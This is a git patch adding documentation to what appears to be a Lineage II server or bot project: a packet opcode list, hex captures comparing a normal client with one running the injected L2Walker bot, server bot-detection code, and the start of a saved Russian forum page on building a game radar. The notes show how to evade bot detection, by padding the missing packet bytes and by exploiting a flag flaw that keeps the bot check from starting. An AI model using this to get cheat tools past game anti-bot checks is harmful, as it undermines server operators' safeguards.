FriendAdd +57 FriendRemove +58 FriendList +59 FriendStatus +5a PledgeShowMemberListAllPacket +5b PledgeShowMemberListUpdatePacket +5c PledgeShowMemberListAddPacket +5d PledgeShowMemberListDeletePacket +5e MagicListPacket +5f SkillListPacket +60 VehicleInfoPacket +61 FinishRotatingPacket +62 SystemMessagePacket +63 StartPledgeWarPacket +64 ReplyStartPledgeWarPacket +65 StopPledgeWarPacket +66 ReplyStopPledgeWarPacket +67 SurrenderPledgeWarPacket +68 ReplySurrenderPledgeWarPacket +69 SetPledgeCrestPacket +6a PledgeCrestPacket +6b SetupGaugePacket +6c VehicleDeparturePacket +6d VehicleCheckLocationPacket +6e GetOnVehiclePacket +6f GetOffVehiclePacket +70 TradeRequestPacket +71 RestartResponsePacket +72 MoveToPawnPacket +73 SSQInfoPacket +74 GameGuardQueryPacket +75 L2FriendListPacket +76 L2FriendPacket +77 L2FriendStatusPacket +78 L2FriendSayPacket +79 ValidateLocationPacket +7a StartRotatingPacket +7b ShowBoardPacket +7c ChooseInventoryItemPacket +7d DummyPacket +7e MoveToLocationInVehiclePacket +7f StopMoveInVehiclePacket +80 ValidateLocationInVehiclePacket +81 TradeUpdatePacket +82 TradePressOtherOkPacket +83 FriendAddRequest +84 LogOutOkPacket +85 AbnormalStatusUpdatePacket +86 QuestListPacket +87 EnchantResultPacket +88 PledgeShowMemberListDeleteAllPacket +89 PledgeInfoPacket +8a PledgeExtendedInfoPacket +8b SurrenderPersonallyPacket +8c RidePacket +8d DummyPacket +8e PledgeShowInfoUpdatePacket +8f ClientActionPacket +90 AcquireSkillListPacket +91 AcquireSkillInfoPacket +92 ServerObjectInfoPacket +93 GMHidePacket +94 AcquireSkillDonePacket +95 GMViewCharacterInfoPacket +96 GMViewPledgeInfoPacket +97 GMViewSkillInfoPacket +98 GMViewMagicInfoPacket +99 GMViewQuestInfoPacket +9a GMViewItemListPacket +9b GMViewWarehouseWithdrawListPacket +9c ListPartyWatingPacket +9d PartyRoomInfoPacket +9e PlaySoundPacket +9f StaticObjectPacket +a0 PrivateStoreManageList +a1 PrivateStoreList +a2 PrivateStoreMsg +a3 ShowMinimapPacket +a4 ReviveRequestPacket +a5 AbnormalVisualEffectPacket +a6 TutorialShowHtmlPacket +a7 TutorialShowQuestionMarkPacket +a8 TutorialEnableClientEventPacket +a9 TutorialCloseHtmlPacket +aa ShowRadarPacket +ab WithdrawAlliancePacket +ac OustAllianceMemberPledgePacket +ad DismissAlliancePacket +ae SetAllianceCrestPacket +af AllianceCrestPacket +b0 ServerCloseSocketPacket +b1 PetStatusShowPacket +b2 PetInfoPacket +b3 PetItemListPacket +b4 PetInventoryUpdatePacket +b5 AllianceInfoPacket +b6 PetStatusUpdatePacket +b7 PetDeletePacket +b8 DeleteRadarPacket +b9 MyTargetSelectedPacket +ba PartyMemberPositionPacket +bb AskJoinAlliancePacket +bc JoinAlliancePacket +bd PrivateStoreBuyManageList +be PrivateStoreBuyList +bf PrivateStoreBuyMsg +c0 VehicleStartPacket +c1 RequestTimeCheckPacket +c2 StartAllianceWarPacket +c3 ReplyStartAllianceWarPacket +c4 StopAllianceWarPacket +c5 ReplyStopAllianceWarPacket +c6 SurrenderAllianceWarPacket +c7 SkillCoolTimePacket +c8 PackageToListPacket +c9 CastleSiegeInfoPacket +ca CastleSiegeAttackerListPacket +cb CastleSiegeDefenderListPacket +cc NickNameChangedPacket +cd PledgeStatusChangedPacket +ce RelationChangedPacket +cf EventTriggerPacket +d0 MultiSellListPacket +d1 SetSummonRemainTimePacket +d2 PackageSendableListPacket +d3 EarthQuakePacket +d4 FlyToLoactionPacket +d5 BlockListPacket +d6 SpecialCameraPacket +d7 NormalCameraPacket +d8 SkillRemainSecPacket +d9 NetPingPacket +da DicePacket +db SnoopPacket +dc RecipeBookItemListPacket +dd RecipeItemMakeInfoPacket +de RecipeShopManageListPacket +df RecipeShopSellListPacket +e0 RecipeShopItemInfoPacket +e1 RecipeShopMsgPacket +e2 ShowCalcPacket +e3 MonRaceInfoPacket +e4 HennaItemInfoPacket +e5 HennaInfoPacket +e6 HennaUnequipListPacket +e7 HennaUnequipInfoPacket +e8 MacroListPacket +e9 BuyListSeedPacket +ea ShowTownMapPacket +eb ObserverStartPacket +ec ObserverEndPacket +ed ChairSitPacket +ee HennaEquipListPacket +ef SellListProcurePacket +f0 GMHennaInfoPacket +f1 RadarControlPacket +f2 ClientSetTimePacket +f3 ConfirmDlgPacket +f4 PartySpelledPacket +f5 ShopPreviewListPacket +f6 ShopPreviewInfoPacket +f7 CameraModePacket +f8 ShowXMasSealPacket +f9 EtcStatusUpdatePacket +fa ShortBuffStatusUpdatePacket +fb SSQStatusPacket +fc PetitionVotePacket +fd AgitDecoInfoPacket +fe DummyPacket + +fe00 ExDummyPacket +fe01 ExRegenMaxPacket +fe02 ExEventMatchUserInfoPacket +fe03 ExColosseumFenceInfoPacket +fe04 ExEventMatchSpelledInfoPacket +fe05 ExEventMatchFirecrackerPacket +fe06 ExEventMatchTeamUnlockedPacket +fe07 ExEventMatchGMTestPacket +fe08 ExPartyRoomMemberPacket +fe09 ExClosePartyRoomPacket +fe0a ExManagePartyRoomMemberPacket +fe0b ExEventMatchLockResult +fe0c ExAutoSoulShot +fe0d ExEventMatchListPacket +fe0e ExEventMatchObserverPacket +fe0f ExEventMatchMessagePacket +fe10 ExEventMatchScorePacket +fe11 ExServerPrimitivePacket +fe12 ExOpenMPCCPacket +fe13 ExCloseMPCCPacket +fe14 ExShowCastleInfo +fe15 ExShowFortressInfo +fe16 ExShowAgitInfo +fe17 ExShowFortressSiegeInfo +fe18 ExPartyPetWindowAdd +fe19 ExPartyPetWindowUpdate +fe1a ExAskJoinMPCCPacket +fe1b ExPledgeCrestLargePacket +fe1c ExEventMatchTeamInfoPacket +fe1d ExEventMatchCreatePacket +fe1e ExFishingStartPacket +fe1f ExFishingEndPacket +fe20 ExShowQuestInfoPacket +fe21 ExShowQuestMarkPacket +fe22 ExSendManorListPacket +fe23 ExShowSeedInfoPacket +fe24 ExShowCropInfoPacket +fe25 ExShowManorDefaultInfoPacket +fe26 ExShowSeedSettingPacket +fe27 ExFishingStartCombatPacket +fe28 ExFishingHpRegenPacket +fe29 ExEnchantSkillListPacket +fe2a ExEnchantSkillInfoPacket +fe2b ExShowCropSettingPacket +fe2c ExShowSellCropListPacket +fe2d ExOlympiadMatchEndPacket +fe2e ExMailArrivedPacket +fe2f ExStorageMaxCountPacket +fe30 ExEventMatchManagePacket +fe31 ExMultiPartyCommandChannelInfoPacket +fe32 ExPCCafePointInfoPacket +fe33 ExSetCompassZoneCode +fe34 ExGetBossRecord +fe35 ExAskJoinPartyRoom +fe36 ExListPartyMatchingWaitingRoom +fe37 ExSetMpccRouting +fe38 ExShowAdventurerGuideBook +fe39 ExShowScreenMessage +fe3a PledgeSkillListPacket +fe3b PledgeSkillListAddPacket +fe3c PledgePowerGradeList +fe3d PledgeReceivePowerInfo +fe3e PledgeReceiveMemberInfo +fe3f PledgeReceiveWarList +fe40 PledgeReceiveSubPledgeCreated +fe41 ExRedSkyPacket +fe42 PledgeReceiveUpdatePower +fe43 FlySelfDestinationPacket +fe44 ShowPCCafeCouponShowUI +fe45 ExSearchOrc +fe46 ExCursedWeaponList +fe47 ExCursedWeaponLocation +fe48 ExRestartClient +fe49 ExRequestHackShield +fe4a ExUseSharedGroupItem +fe4b ExMPCCShowPartyMemberInfo +fe4c ExDuelAskStart +fe4d ExDuelReady +fe4e ExDuelStart +fe4f ExDuelEnd +fe50 ExDuelUpdateUserInfo +fe51 ExShowVariationMakeWindow +fe52 ExShowVariationCancelWindow +fe53 ExPutItemResultForVariationMake +fe54 ExPutIntensiveResultForVariationMake +fe55 ExPutCommissionResultForVariationMake +fe56 ExVariationResult +fe57 ExPutItemResultForVariationCancel +fe58 ExVariationCancelResult +fe59 ExDuelEnemyRelation +fe5a ExPlayAnimation +fe5b ExMPCCPartyInfoUpdate +fe5c ExPlayScene +fe5d ExSpawnEmitterPacket +fe5e ExEnchantSkillInfoDetailPacket +fe5f ExBasicActionList +fe60 ExAirShipInfo +fe61 ExAttributeEnchantResultPacket +fe62 ExChooseInventoryAttributeItemPacket +fe63 ExGetOnAirShipPacket +fe64 ExGetOffAirShipPacket +fe65 ExMoveToLocationAirShipPacket +fe66 ExStopMoveAirShipPacket +fe67 ExShowTracePacket +fe68 ExItemAuctionInfoPacket +fe69 ExNeedToChangeName +fe6a ExPartyPetWindowDelete +fe6b ExTutorialList +fe6c ExRpItemLink +fe6d ExMoveToLocationInAirShipPacket +fe6e ExStopMoveInAirShipPacket +fe6f ExValidateLocationInAirShipPacket +fe70 ExUISettingPacket +fe71 ExMoveToTargetInAirShipPacket +fe72 ExAttackInAirShipPacket +fe73 ExMagicSkillUseInAirShipPacket +fe74 ExShowBaseAttributeCancelWindow +fe75 ExBaseAttributeCancelResult +fe76 ExSubPledgetSkillAdd +fe77 ExResponseFreeServer +fe78 ExShowProcureCropDetailPacket +fe79 ExHeroListPacket +fe7a ExOlympiadUserInfoPacket +fe7b ExOlympiadSpelledInfoPacket +fe7c ExOlympiadModePacket +fe7d ExShowFortressMapInfo +fe7e ExPVPMatchRecord +fe7f ExPVPMatchUserDie +fe80 ExPrivateStoreWholeMsg + +fe81 ExPutEnchantTargetItemResult +fe82 ExPutEnchantSupportItemResult +fe83 ExChangeNicknameNColor +fe84 ExGetBookMarkInfoPacket +fe85 ExNotifyPremiumItem +fe86 ExGetPremiumItemListPacket +fe87 ExPeriodicItemList +fe88 ExJumpToLocation +fe89 ExPVPMatchCCRecord +fe8a ExPVPMatchCCMyRecord +fe8b ExPVPMatchCCRetire +fe8c ExShowTerritory +fe8d ExNpcQuestHtmlMessage +fe8e ExSendUIEventPacket +fe8f ExNotifyBirthDay +fe90 ExShowDominionRegistry +fe91 ExReplyRegisterDominion +fe92 ExReplyDominionInfo +fe93 ExShowOwnthingPos +fe94 ExCleftList +fe95 ExCleftState +fe96 ExDominionChannelSet +fe97 ExBlockUpSetList +fe98 ExBlockUpSetState +fe99 ExStartScenePlayer +fe9a ExAirShipTeleportList +fe9b ExMpccRoomInfo +fe9c ExListMpccWaiting +fe9d ExDissmissMpccRoom +fe9e ExManageMpccRoomMember +fe9f ExMpccRoomMember +fea0 ExVitalityPointInfo +fea1 ExShowSeedMapInfo +fea2 ExMpccPartymasterList +fea3 ExDominionWarStart +fea4 ExDominionWarEnd +fea5 ExDummyPacket +fea6 ExBR_GamePointPacket +fea7 ExBR_ProductListPacket +fea8 ExBR_ProductInfoPacket +fea9 ExBR_BuyProductPacket +feaa ExBR_PremiumStatePacket +feab ExBrBroadcastEventState +feac ExBrExtraUserInfo \ No newline at end of file diff --git a/docs/pure_client.txt b/docs/pure_client.txt new file mode 100644 index 0000000..0b0961d --- /dev/null +++ b/docs/pure_client.txt @@ -0,0 +1,463 @@ +upper line is pure client (with GG killed) +lower line is client with INGAME L2Walker injected + +[+] ProtocolVersion +Client: Len 267 | 0B 01 / 0E / 0C 00 00 00 09 07 54 56 03 09 0B 01 07 02 54 54 56 07 00 02 55 56 00 51 00 53 57 04 07 55 08 54 01 07 01 53 00 56 55 56 01 06 05 04 51 03 08 51 08 51 56 04 54 06 55 08 02 09 51 56 01 53 06 55 04 53 00 56 56 53 01 09 02 09 01 51 54 51 09 55 56 09 03 04 07 05 55 04 06 55 04 06 09 04 51 01 08 08 06 05 52 06 04 01 07 54 03 06 52 55 06 55 55 51 01 02 04 54 03 55 54 01 57 51 55 05 52 05 54 07 51 51 55 07 02 53 53 00 52 05 52 07 01 54 00 03 05 05 08 06 05 05 06 03 00 0D 08 01 07 09 03 51 03 07 53 09 51 06 07 54 0A 50 56 02 52 04 05 55 51 02 53 00 08 54 04 52 56 06 02 09 00 08 03 53 56 01 05 00 55 06 08 56 04 0D 06 07 52 06 07 04 0A 06 01 04 54 04 00 05 02 04 54 00 09 52 53 05 04 01 04 05 05 01 52 51 52 0D 06 51 08 09 54 53 00 0D 01 02 03 54 53 01 05 03 08 56 54 07 02 54 0B 06 EB EF 3D E6 +Client: Len 267 | 0B 01 / 0E / 0C 00 00 00 09 07 54 56 03 09 0B 01 07 02 54 54 56 07 00 02 55 56 00 51 00 53 57 04 07 55 08 54 01 07 01 53 00 56 55 56 01 06 05 04 51 03 08 51 08 51 56 04 54 06 55 08 02 09 51 56 01 53 06 55 04 53 00 56 56 53 01 09 02 09 01 51 54 51 09 55 56 09 03 04 07 05 55 04 06 55 04 06 09 04 51 01 08 08 06 05 52 06 04 01 07 54 03 06 52 55 06 55 55 51 01 02 04 54 03 55 54 01 57 51 55 05 52 05 54 07 51 51 55 07 02 53 53 00 52 05 52 07 01 54 00 03 05 05 08 06 05 05 06 03 00 0D 08 01 07 09 03 51 03 07 53 09 51 06 07 54 0A 50 56 02 52 04 05 55 51 02 53 00 08 54 04 52 56 06 02 09 00 08 03 53 56 01 05 00 55 06 08 56 04 0D 06 07 52 06 07 04 0A 06 01 04 54 04 00 05 02 04 54 00 09 52 53 05 04 01 04 05 05 01 52 51 52 0D 06 51 08 09 54 53 00 0D 01 02 03 54 53 01 05 03 08 56 54 07 02 54 0B 06 EB EF 3D E6 + +[+] RequestAuthLogin differens sessionIDs, its normal... +Client: Len 41 | 29 00 / 2B / 6C 00 65 00 78 00 78 00 00 00 23 CB E3 2E 8B FD FD 8C 2C 50 08 11 3D 34 B6 F0 01 00 00 00 01 D2 21 F0 1C 00 00 00 +Client: Len 41 | 29 00 / 2B / 6C 00 65 00 78 00 78 00 00 00 B8 37 51 15 54 A5 05 D6 F1 48 FC ED 66 B2 16 80 01 00 00 00 01 D2 21 F0 1C 00 00 00 + +[+] CharacterSelect +Client: Len 21 | 15 00 / 12 / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +Client: Len 21 | 15 00 / 12 / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + +[+] RequestManorList +Client: Len 5 | 05 00 / D0 / 01 00 +Client: Len 5 | 05 00 / D0 / 01 00 + +[+] RequestKeyMapping +Client: Len 5 | 05 00 / D0 / 21 00 +Client: Len 5 | 05 00 / D0 / 21 00 + +[+] EnterWorld +Client: Len 107 | 6B 00 / 11 / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C9 BC F2 A7 66 5A 0B 98 36 A5 BD 89 ED 7F E4 D7 6B 49 E2 9F EF 76 EB CE A3 FA F4 BF 0C 64 A3 B4 A4 CE DC C6 08 3E 6E EA 45 CA D3 FE 88 13 87 B8 06 2C 96 F0 9B 1E 8E BC C6 9B 98 C8 63 16 CF D0 29 00 00 00 0A E1 74 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +Client: Len 107 | 6B 00 / 11 / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C9 BC F2 A7 66 5A 0B 98 36 A5 BD 89 ED 7F E4 D7 6B 49 E2 9F EF 76 EB CE A3 FA F4 BF 0C 64 A3 B4 A4 CE DC C6 08 3E 6E EA 45 CA D3 FE 88 13 87 B8 06 2C 96 F0 9B 1E 8E BC C6 9B 98 C8 63 16 CF D0 29 00 00 00 0A E1 74 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + +[+] GameGuardReply (empty reply :( ) +Client: Len 19 | 13 00 / CB / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 +Client: Len 19 | 13 00 / CB / 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + +[+] RequestSkillCoolTime (twice...? both client and bot...) +Client: Len 3 | 03 00 / A6 / +Client: Len 3 | 03 00 / A6 / + +Client: Len 3 | 03 00 / A6 / +Client: Len 3 | 03 00 / A6 / + +!!Warn!! Client did not send these!.. +* RequestSkillList +Client: Len 3 | 03 00 / 50 / +* RequestSkillCoolTime... +Client: Len 3 | 03 00 / A6 / +* RequestGMList +Client: Len 3 | 03 00 / 8B / +but seems that l2r does not ban for RequestGMList +it bans for MoveBackwardToLocation + +[?] Action different objectIDs, but same coords...? +Client: Len 20 | 14 00 / 1F / 2D 0F 00 10 A1 B0 FE FF 1F DA 03 00 B9 F1 FF FF 00 +Client: Len 20 | 14 00 / 1F / 4B 0F 00 10 A1 B0 FE FF 1F DA 03 00 B9 F1 FF FF 00 + +[?] RequestMagicSkillUse (L2Walker "presses" control) + c d d(ctrlPressed) c(shiftPresed) +Client: Len 12 | 0C 00 / 39 / 99 04 00 00 00 00 00 00 00 +Client: Len 12 | 0C 00 / 39 / 94 04 00 00 08 00 00 00 00 +seems there is no ban for RequestMagicSkillUse + +ValidatePosition +Client: Len 23 | 17 00 / 59 / A1 B0 FE FF 1F DA 03 00 B9 F1 FF FF 00 00 00 00 00 00 00 00 +Client: Len 23 | 17 00 / 59 / A1 B0 FE FF 1F DA 03 00 B9 F1 FF FF 00 00 00 00 00 00 00 00 + +client did not send these... +RequestMagicSkillUse again?... +Client: Len 12 | 0C 00 / 39 / 94 04 00 00 08 00 00 00 00 +ValidatePosition several times... +Client: Len 23 | 17 00 / 59 / A2 B0 FE FF 21 DA 03 00 B9 F1 FF FF 70 F7 00 00 00 00 00 00 +Client: Len 23 | 17 00 / 59 / AA B0 FE FF 37 DA 03 00 B8 F1 FF FF E3 32 00 00 00 00 00 00 +Client: Len 23 | 17 00 / 59 / AA B0 FE FF 37 DA 03 00 B8 F1 FF FF E3 32 00 00 00 00 00 00 +Client: Len 23 | 17 00 / 59 / AA B0 FE FF 37 DA 03 00 B8 F1 FF FF E3 32 00 00 00 00 00 00 +Client: Len 23 | 17 00 / 59 / AA B0 FE FF 37 DA 03 00 B8 F1 FF FF E3 32 00 00 00 00 00 00 +but seems there is no ban for this packet... + +[+] RequestInventorySaveOrder +Client: Len 33 | 21 00 / D0 / 24 00 03 00 00 00 6E 08 00 10 00 00 00 00 6F 08 00 10 01 00 00 00 70 08 00 10 02 00 00 00 +Client: Len 33 | 21 00 / D0 / 24 00 03 00 00 00 6E 08 00 10 00 00 00 00 6F 08 00 10 01 00 00 00 70 08 00 10 02 00 00 00 + +[+] LogoutRequest +Client: Len 3 | 03 00 / 00 / +Client: Len 3 | 03 00 / 00 / + + +================================ +Test MoveBackwardtoLocation +Client: Len 31 | 1F 00 / 0F / 5D AF FE FF E4 D7 03 00 C7 F1 FF FF AB B0 FE FF 3D DA 03 00 B7 F1 FF FF 01 00 00 00 +Walker: Len 27 | 1B 00 / 0F / 16 AF FE FF E4 D7 03 00 DF F1 FF FF 5D AF FE FF E4 D7 03 00 DF F1 FF FF + +Walker does not send last 4 bytes... we can fix it by adding them!... + + + + + + + + +MoveBackwardToLocation +package l2r.gameserver.clientpackets; + +import java.util.logging.Logger; + +import l2r.Config; +import l2r.Config.L2WalkerAllowed; +import l2r.gameserver.geodata.network.GeoConfig; +import l2r.gameserver.loginservercon.LSConnection; +import l2r.gameserver.loginservercon.gspackets.ChangeAccessLevel; +import l2r.gameserver.model.L2Player; +import l2r.gameserver.network.L2GameClient; +import l2r.util.Location; +import l2r.util.Log; + +// cdddddd(d) +public class MoveBackwardToLocation extends L2GameClientPacket +{ + private static Logger _log = Logger.getLogger(MoveBackwardToLocation.class.getName()); + private static String _C__0F_MOVEBACKWARDTOLOC = "[C] 0F MoveBackwardToLoc"; + private Location _targetLoc = new Location(0, 0, 0); + private Location _originLoc = new Location(0, 0, 0); + private int _moveMovement; + + /** + * packet type id 0x0f + */ + @Override + public void readImpl() + { + _targetLoc.x = readD(); + _targetLoc.y = readD(); + _targetLoc.z = readD(); + _originLoc.x = readD(); + _originLoc.y = readD(); + _originLoc.z = readD(); + L2GameClient client = getClient(); + L2Player activeChar = client.getActiveChar(); + if(activeChar == null) + return; + + if(_buf.hasRemaining()) + _moveMovement = readD(); + else if(Config.allowL2Walker(activeChar)) + { + activeChar.setIsBot(2); + _moveMovement = 1; + if(Config.ALLOW_L2WALKER_CLIENT == L2WalkerAllowed.Peace) + activeChar.startBotCheck(); + } + else + { + _log.warning("Incompatible client found: L2Walker? " + client.getLoginName() + "/" + client.getIpAddr()); + + if(Config.L2WALKER_PUNISHMENT != 0) + { + Log.LogChar(activeChar, Log.L2WalkerFound, client.getLoginName()); + if(Config.L2WALKER_PUNISHMENT == 2) + { + LSConnection.getInstance().sendPacket(new ChangeAccessLevel(client.getLoginName(), -66, "Walker Autoban", -1)); + activeChar.setAccessLevel(-66); + } + activeChar.logout(false, false, true); + } + } + } + + @Override + public void runImpl() + { + L2Player activeChar = getClient().getActiveChar(); + + if(activeChar == null) + return; + + /*if(_targetLoc.x == 0 || _targetLoc.y == 0 || _targetLoc.x == Integer.MAX_VALUE || _targetLoc.y == Integer.MAX_VALUE) + { + System.out.println("MoveBackwardToLocation: zero coords"); + return; + }*/ + + if(System.currentTimeMillis() - activeChar.getLastPacket() < 100) + { + activeChar.sendActionFailed(); + return; + } + + activeChar.setLastPacket(); + + /*if(Math.abs(_originLoc.z) > 0xFFFF || Math.abs(_targetLoc.y) > 0x40000) + { + System.out.println("MTL: too big range: " + _originLoc.toString() + " -> " + _targetLoc.toString()); + System.out.println(" " + activeChar.getName() + " server position: " + activeChar.getLoc().toString()); + return; + }*/ + + if(activeChar.inObserverMode() && activeChar.getOlympiadGameId() == -1) + { + activeChar.sendActionFailed(); + return; + } + + if(activeChar.isOutOfControl() && activeChar.getOlympiadGameId() == -1) + { + activeChar.sendActionFailed(); + return; + } + + if(activeChar.isInBoat()) + activeChar.setInBoat(false); + + if(activeChar.getTeleMode() > 0) + { + if(activeChar.getTeleMode() == 1) + activeChar.setTeleMode(0); + activeChar.sendActionFailed(); + activeChar.teleToLocation(_targetLoc); + return; + } + + if(_moveMovement == 0 && GeoConfig.GEODATA_MODE == 0) + { + activeChar.sendActionFailed(); + return; + } + + activeChar.moveToLocation(_targetLoc, 0, (_moveMovement != 0)); + } + + @Override + public String getType() + { + return _C__0F_MOVEBACKWARDTOLOC; + } +} + + + + + +L2Player.java +/** + * Óñòàíàâëèâàåò àêòèâíûé ñàáêëàññ + * + *
  • Retrieve from the database all skills of this L2Player and add them to _skills
  • + *
  • Retrieve from the database all macroses of this L2Player and add them to _macroses
  • + *
  • Retrieve from the database all shortCuts of this L2Player and add them to _shortCuts


  • + */ + public void setActiveSubClass(final Short subId, final boolean store) + { + storeEffects(); + storeDisableSkills(); + + if(QuestManager.getQuest(422) != null) + { + String qn = QuestManager.getQuest(422).getName(); + if(qn != null) + { + QuestState qs = getQuestState(qn); + if(qs != null) + qs.exitCurrentQuest(true); + } + } + + if(store && _classlist.containsKey(_activeClass)) + { + final L2SubClass oldsub = _classlist.get(_activeClass); + oldsub.setCp(getCurrentCp()); + oldsub.setExp(getExp()); + oldsub.setHp(getCurrentHp()); + oldsub.setLevel(getLevel()); + oldsub.setMp(getCurrentMp()); + oldsub.setSp(getSp()); + oldsub.setActive(false); + _classlist.put(_activeClass, oldsub); + } + + final L2SubClass sub = _classlist.get(subId); + sub.setActive(true); + _activeClass = sub.getClassId(); + _classlist.put(_activeClass, sub); + _level = sub.getLevel(); + _exp = sub.getExp(); + _sp = sub.getSp(); + + setClassId(subId, false); + + removeAllSkills(); + + stopAllEffects(); + + if(getPet() != null && getPet().isSummon) + getPet().unSummon(); + if(!_cubics.isEmpty()) + { + for(final L2CubicInstance cubic : _cubics.values()) + { + cubic.stopAction(); + cubic.cancelDisappear(); + } + _cubics.clear(); + } + setAgathion(0); + + checkRecom(); + restoreSkills(); + rewardSkills(); + sendPacket(new SkillList(this)); + + getInventory().refreshListeners(); + + for(int i = 0; i < 3; i++) + _henna[i] = null; + + restoreHenna(); + sendPacket(new HennaInfo(this)); + + restoreEffects(); + if(isInWorld()) + restoreDisableSkills(); + + _currentHp = sub.getHp(); + setCurrentHpMp(sub.getHp(), sub.getMp()); + setCurrentCp(sub.getCp()); + broadcastUserInfo(); + updateStats(); + + _shortCuts.restore(); + sendPacket(new ShortCutInit(this)); + if(!isBot() || Config.KILL_BOTS_WITH_SKILLCOOLTIME) + sendPacket(new SkillCoolTime(this)); + + broadcastPacket(new SocialAction(getObjectId(), 15)); + + getDeathPenalty().restore(); + + setIncreasedForce(0); + } + + public void setIsBot(final int isBot) + { + _isBot = isBot; + } + + public int isBotLevel() + { + return _isBot; + } + + public boolean isBot() + { + return _isBot > 0; + } + + public void startBotCheck() + { + if(_botCheck == null && _isBot > 0) + _botCheck = ThreadPoolManager.getInstance().scheduleGeneral(new BotCheck(this, _isBot), Rnd.get(30, 90) * 1000); + } + + public void stopBotCheck() + { + if(_botCheck != null) + { + _botCheck.cancel(true); + _botCheck = null; + } + } + + class BotCheck implements Runnable + { + L2Player _player; + int _isBot; + + BotCheck(final L2Player player, final int isBot) + { + _player = player; + _isBot = isBot; + } + + public void run() + { + if(!_player.isBot()) + { + _player.stopBotCheck(); + return; + } + if(Config.ALLOW_L2WALKER_CLIENT == Config.L2WalkerAllowed.True || _player.getPlayerAccess().AllowWalker || Config.ALLOW_L2WALKER_CLIENT == L2WalkerAllowed.Peace && isInZone(ZoneType.peace_zone)) + { + setNameColor(Config.BOT_NAME_COLOUR); + return; + } + _log.warning("Bot detected. Char: " + _player.getName() + ", Account: " + _player.getAccountName() + ", Ip: " + _player.getIP()); + if(Config.L2WALKER_PUNISHMENT == 1) + _player.logout(false, false, true); + else if(Config.L2WALKER_PUNISHMENT == 2) + { + _player.setAccountAccesslevel(-66, "botcheck", -1); + _player.logout(false, false, true); + } + } + } + + + +L2GamePacketHandler +EnterWorld: +case 0x11: + activeChar = client.getActiveChar(); + if(activeChar != null && activeChar.isBotLevel() > 0) + activeChar.setIsBot(1); + msg = new EnterWorld(); + break; +RequestSkillCoolTime: +case 0xa6: + activeChar = client.getActiveChar(); + if(activeChar != null) + activeChar.startBotCheck(); + msg = !Config.KILL_BOTS_WITH_SKILLCOOLTIME && activeChar != null && activeChar.isBot() ? null : new RequestSkillCoolTime(); + break; + +D0:01 RequestManorList +case 0xd0: // 824 protocol + if(!data.hasRemaining()) + { + handleIncompletePacket(client); + break; + } + id3 = data.getShort() & 0xffff; + switch(id3) + { + case 0x00: + // msg = new ?(); + break; + case 0x01: + activeChar = client.getActiveChar(); + if(activeChar != null) + if(activeChar.isBotLevel() == 2) + activeChar.setIsBot(0); + else if(activeChar.isBotLevel() == 1) + activeChar.setIsBot(2); + msg = new RequestManorList(); + break; + +L2Player:restore() setIsBot(2) + +so, client send CharSelect. _isBot = 2 +client send RequestManorList. + if(activeChar.isBotLevel() == 2) activeChar.setIsBot(0); <- executes + _isBot = 0 +... +client send EnterWorld. + if(activeChar != null && activeChar.isBotLevel() > 0) activeChar.setIsBot(1); <- NOT executes + _isBot = 0; +client send RequestSkillCoolTime first time + activeChar.startBotCheck(); // start bot check + bot check not starts, because _isBot == 0 + msg = !Config.KILL_BOTS_WITH_SKILLCOOLTIME && activeChar.isBot() ? null : new RequestSkillCoolTime(); + msg = RequestSkillCoolTime(); + SkillCoolTIme is sent on l2r (l2j does not send) + +client send RequestSkillCoolTime 2nd time + the same, _isBot == 0, check not starts, SkillCoolTime is sent on l2r (l2j does not send) + +client send RequestSkillCoolTime 3rd time, al the same + the same, _isBot == 0, check not starts, SkillCoolTime is sent on l2r (l2j does not send) + diff --git a/docs/radar_developmemt.htm b/docs/radar_developmemt.htm new file mode 100644 index 0000000..1c459cd --- /dev/null +++ b/docs/radar_developmemt.htm @@ -0,0 +1,2045 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Радар своими руками - PostPacific + + + + + + + + + + +
    PostPacific +   +
    + + + + + +
    +
    +
    + + + + + +
    + + + + + + + + + +
    + + + + + + + + + + +
    Go Back PostPacific + > Lineage II Русский + + + > Stickies + +
    + +
    +
    + Welcome, minlexx.
    + You last visited: Today at 05:45 PM + + +
    Private Messages: Unread 0, Total 0.
    + + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    User CPFAQCommunity CalendarNew PostsSearch Quick Links chat @ dairc!Log Out
    +
    + + +
    + + +
    + + + + + + + + + + + +
    Notices
    + +
    +
    +
    + + + + + + + +
    Stickies В раздел для готовых скриптов, программ, ваших разработок и всего остального, чем вы хотите поделиться.
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Reply
    + + + + + + + + + + + + + + + + + + + + +
    +
    + +   +
    +
    + Thread Tools + + + Search this Thread + + + Rate Thread + + + Display Modes + +
    + + + + + + +
    +
    +
    + + + + + + + + + + +
    + + + +
    +
    +
    + +
    + + + + + + + + + + + + + + + + + + + + + +
    + + Old + 06-10-2009, 09:56 PM + + + +   + #2 + +
    + +
    + + Argot + + +
    + +
    Junior Member
    + + + + + +
    +  
    +
    Join Date: May 2009
    + + +
    + Posts: 1 +
    + + + Rep Power: 0
    Argot is on a distinguished road
    + +
    +
    + +
    + + + + +
    + Default + +
    +
    + + + + +
    + +
    +
    Quote:
    + + + + +
    + +
    + Originally Posted by mr_green + View Post +
    +
    Радар своими руками /16.12.2008/
    +color - цвет, dword 0x??rrggbb (назначение старшего байта неизвестно),
    + +
    +
    старший байт это прозрачность +
    + + + + + + + + + + + + + +
    + Argot is offline + + + + Add to Argot's Reputation + + + + Report Post + +   + + + + + + + + Reply With Quote + + + Multi-Quote This Message + + + Quick reply to this message + + + + + + + + + +
    + + + + + + + +
    + +
    +
    +
    + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + + + + + + + + + + + + +
    + + Old + 05-28-2009, 10:10 PM + + + +   + #1 + +
    + +
    + + Mr_Green + + +
    + +
    Junior Member
    + + + + + +
    +  
    +
    Join Date: May 2009
    + + +
    + Posts: 8 +
    + + + Rep Power: 0
